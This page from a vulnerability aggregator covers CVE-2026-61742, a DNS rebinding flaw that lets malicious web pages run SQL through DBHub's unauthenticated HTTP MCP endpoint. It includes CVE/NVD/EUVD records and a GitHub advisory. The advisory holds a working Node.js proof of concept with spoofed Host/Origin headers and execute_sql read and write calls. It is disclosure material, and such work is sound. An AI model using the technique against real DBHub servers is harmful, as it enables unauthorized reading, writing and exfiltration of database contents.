Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 468/469 docs · 8/9 advisories · checked 02:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

DBHub HTTP transport DNS rebinding allows unauthenticated browser-origin SQL execution

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-61742

Published

DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.

Source published
24 Sep 2026 17:30:11 UTC
Source modified
24 Sep 2026 17:42:27 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

euvd · EUVD-2026-86320

Published

DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 24, 2026, 5:30:11 PM

dateUpdated: Sep 24, 2026, 5:42:27 PM

Source published
Sep 24, 2026, 5:30:11 PM (timezone not stated)
Source modified
Sep 24, 2026, 5:42:27 PM (timezone not stated)
Observed here
11 Nov 2026 15:03:06 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-61742

Published

DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-306 · CWE-346

Original publisher date fields

published: 2026-09-24T18:17:16.173

lastModified: 2026-09-30T17:32:07.107

Source published
24 Sep 2026 18:17:16 UTC
Source modified
30 Sep 2026 17:32:07 UTC
Observed here
25 Oct 2026 14:19:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-fm8p-53ww-hf6w

Published

### Summary DBHub `0.21.2` exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials. ### Details Affected target: - Package: `@bytebase/dbhub` - Version tested: `0.21.2` - Repository commit tested: `72adfdcf7bcfe46b25edbc776ce096006eba9b02` - Affected mode: HTTP transport (`--transport http`) - Default package transport: stdio - Not affected by this specific browser-origin vector: stdio transport Relevant code path: `src/server.ts` The HTTP server installs a middleware that: 1. reads `req.headers.origin`; 2. extracts the hostname from `req.headers.host`; 3. parses the hostname from `Origin`; 4. rejects only when the two hostnames differ; 5. reflects the validated `Origin` into `Access-Control-Allow-Origin`; 6. enables credentials with `Access-Control-Allow-Credentials: true`. Relevant code: ```ts const origin = req.headers.origin; if (origin) { const host = (req.headers.host ?? '').split(':')[0].toLowerCase(); try { const originHost = new URL(origin).hostname.toLowerCase(); if (originHost !== host) { return res.status(403).json({ error: 'Forbidden', message: 'Origin does not match Host header (DNS rebinding protection)', }); } } catch { return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' }); } } res.header('Access-Control-Allow-Origin', origin || 'http://localhost'); res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS'); res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id'); res.header('Access-Control-Allow-Credentials', 'true'); ``` This blocks a simple cross-origin request such as: ```http Host: localhost:8080 Origin: http://attacker.example ``` However, it accepts the DNS rebinding request shape: ```http Host: dbhub-rebind.example:8080 Origin: http://dbhub-rebind.example ``` In a browser attack, the victim visits an attacker-controlled page such as `http://dbhub-rebind.example:8080`. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy. No authorization token, per-server secret, or CSRF-style capability is required before `/mcp` accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client. Suggested remediation: - Bind HTTP transport to `127.0.0.1` by default and require explicit opt-in for `0.0.0.0` or non-loopback hosts. - Add an explicit allowed-hosts policy instead of accepting arbitrary `Host` values because `Origin` has the same hostname. - Add an explicit allowed-origins policy and do not reflect arbitrary origins by default. - Require an authentication token or CSRF-style capability before dispatching `/mcp` JSON-RPC methods. - Consider rejecting browser-origin requests whose `Host` is not a configured loopback hostname or configured deployment hostname. ### PoC The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling. Requirements: - Node.js 20 or newer - npm/npx access to install `@bytebase/[email protected]` - An available local TCP port selected by the script Save the following as `dbhub-dns-rebinding-poc.mjs` and run: ```bash node dbhub-dns-rebinding-poc.mjs ``` The script starts DBHub `0.21.2` in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process. ```js import { spawn } from "node:child_process"; import http from "node:http"; import net from "node:net"; const attackerHost = "dbhub-rebind.example"; const port = await pickFreePort(); const launch = dbhubLaunchCommand(port); const server = spawn( launch.command, launch.args, { stdio: ["ignore", "pipe", "pipe"], }, ); let stdout = ""; let stderr = ""; server.stdout.on("data", (chunk) => { stdout += chunk.toString(); }); server.stderr.on("data", (chunk) => { stderr += chunk.toString(); }); try { await waitForDbhub(port); const blocked = await postMcp("blocked", "tools/list", {}, { Host: `localhost:${port}`, Origin: "http://attacker.example", }); const rebindHeaders = { Host: `${attackerHost}:${port}`, Origin: `http://${attackerHost}`, }; const list = await postMcp("list", "tools/list", {}, rebindHeaders); const read = await postMcp("read", "tools/call", { name: "execute_sql", arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" }, }, rebindHeaders); const write = await postMcp("write", "tools/call", { name: "execute_sql", arguments: { sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;", }, }, rebindHeaders); const result = { port, blocked: summarize(blocked), rebindToolsList: summarize(list), rebindRead: summarize(read), rebindWrite: summarize(write), reproduced: blocked.statusCode === 403 && list.statusCode === 200 && list.acao === `http://${attackerHost}` && read.statusCode === 200 && read.body.includes("STANDALONE_REBIND_CANARY") && write.statusCode === 200 && write.body.includes("rows_written"), }; console.log(JSON.stringify(result, null, 2)); if (!result.reproduced) { process.exitCode = 1; } } finally { await stopServer(server); } async function postMcp(id, method, params, headers) { const body = JSON.stringify({ jsonrpc: "2.0", id, method, params }); return await new Promise((resolve, reject) => { const req = http.request( { hostname: "127.0.0.1", port, path: "/mcp", method: "POST", headers: { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Content-Length": Buffer.byteLength(body), ...headers, }, }, (res) => { let data = ""; res.setEncoding("utf8"); res.on("data", (chunk) => { data += chunk; }); res.on("end", () => { resolve({ statusCode: res.statusCode, acao: res.headers["access-control-allow-origin"] || null, body: data, }); }); }, ); req.on("error", reject); req.write(body); req.end(); }); } async function waitForDbhub(port) { const deadline = Date.now() + 45_000; while (Date.now() < deadline) { if (server.exitCode !== null) { throw new Error(`DBHub exited early with code ${server.exitCode}\nstdout:\n${stdout}\nstderr:\n${stderr}`); } try { const response = await httpGet(`http://127.0.0.1:${port}/healthz`); if (response.statusCode === 200) return; } catch { // keep waiting } await new Promise((resolve) => setTimeout(resolve, 500)); } throw new Error(`DBHub did not become ready\nstdout:\n${stdout}\nstderr:\n${stderr}`); } async function httpGet(url) { return await new Promise((resolve, reject) => { const req = http.get(url, (res) => { res.resume(); res.on("end", () => resolve({ statusCode: res.statusCode })); }); req.on("error", reject); req.setTimeout(2_000, () => { req.destroy(new Error("timeout")); }); }); } async function pickFreePort() { return await new Promise((resolve, reject) => { const server = net.createServer(); server.listen(0, "127.0.0.1", () => { const address = server.address(); const selected = address.port; server.close(() => resolve(selected)); }); server.on("error", reject); }); } function summarize(result) { return { statusCode: result.statusCode, acao: result.acao, body: result.body.slice(0, 900), }; } function dbhubLaunchCommand(port) { if (process.platform === "win32") { return { command: "cmd.exe", args: [ "/d", "/s", "/c", `npx -y @bytebase/[email protected] --transport http --port ${port} --demo`, ], }; } return { command: "npx", args: ["-y", "@bytebase/[email protected]", "--transport", "http", "--port", String(port), "--demo"], }; } async function stopServer(child) { if (!child.pid || child.exitCode !== null) return; if (process.platform === "win32") { await new Promise((resolve) => { const killer = spawn("taskkill.exe", ["/pid", String(child.pid), "/t", "/f"], { stdio: "ignore" }); killer.on("exit", resolve); killer.on("error", resolve); }); return; } child.kill("SIGTERM"); } ``` Expected output: - `blocked.statusCode` is `403`. - `rebindToolsList.statusCode` is `200`. - `rebindToolsList.acao` is `http://dbhub-rebind.example`. - `rebindRead.body` contains `STANDALONE_REBIND_CANARY`. - `rebindWrite.body` contains `rows_written`. - `reproduced` is `true`. This PoC simulates the post-rebinding request shape by connecting to `127.0.0.1` while sending the attacker-controlled `Host` and `Origin` headers. It does not require a live external DNS server. A live browser exploit would use the same accepted request shape after DNS rebinding the attacker-controlled hostname to the DBHub server reachable from the victim browser. ### Impact An attacker who can get a victim to visit a malicious web page can make the victim's browser send MCP JSON-RPC requests to the victim-accessible DBHub HTTP server after DNS rebinding. If DBHub is connected to a real database, the attacker can: - list DBHub MCP tools exposed by the server; - execute `execute_sql`; - enumerate tables and schemas; - read database contents; - run write queries when `execute_sql` is not configured as read-only; - read the JSON-RPC response from browser JavaScript because DBHub reflects the attacker-controlled origin; - exfiltrate query results through normal browser egress. This does not require prompt injection, a compromised AI client, or prior access to the victim's internal network. It only requires that the victim has DBHub HTTP transport running and reachable from the victim browser. The affected HTTP mode is opt-in, but it is a documented integration mode for web clients, shared servers, remote access, and clients that do not support stdio. Users may reasonably treat a local or internal DBHub HTTP endpoint as reachable only by their intended MCP client, while DNS rebinding lets an unrelated web page cross that browser-to-localhost/internal boundary.

Source published
24 Sep 2026 19:36:57 UTC
Source modified
24 Sep 2026 19:45:04 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 02:22 UTC · 274 of 275 readable · 272 fully read · documentation 468/469 current